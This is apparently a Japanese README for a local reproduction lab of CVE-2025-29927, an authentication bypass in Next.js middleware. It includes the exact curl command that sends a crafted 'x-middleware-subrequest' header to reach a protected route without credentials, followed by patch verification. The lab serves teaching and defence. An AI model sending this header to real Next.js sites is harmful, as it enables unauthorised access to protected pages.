
CVE-2025-29927 の再現ラボ — Next.js ミドルウェアの認証バイパス(CVSS 9.1)
CVE-2025-29927 の最小再現ラボ — Next.js ミドルウェア認証バイパス (CVSS 9.1)。
関連記事: Medium の N-Day 分析記事
脆弱な Next.js 15.2.2 アプリで、/dashboard ルートは Cookie で保護されています。ミドルウェアの認証チェックは、単一の HTTP ヘッダーを送信することでバイパス可能です。資格情報は不要です。
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
ステップ 1 — ミドルウェアが認証されていないリクエストをブロックすることを確認:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
ステップ 2 — サブリクエストヘッダーでミドルウェアをバイパス:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
ステップ 3 — パッチ適用済みバージョンにアップグレードし、バイパスがブロックされることを確認:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| ルート | アクセス |
|---|---|
/ | 公開 |
/login | 公開 |
/dashboard | ミドルウェアで保護 (session Cookie が必要) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5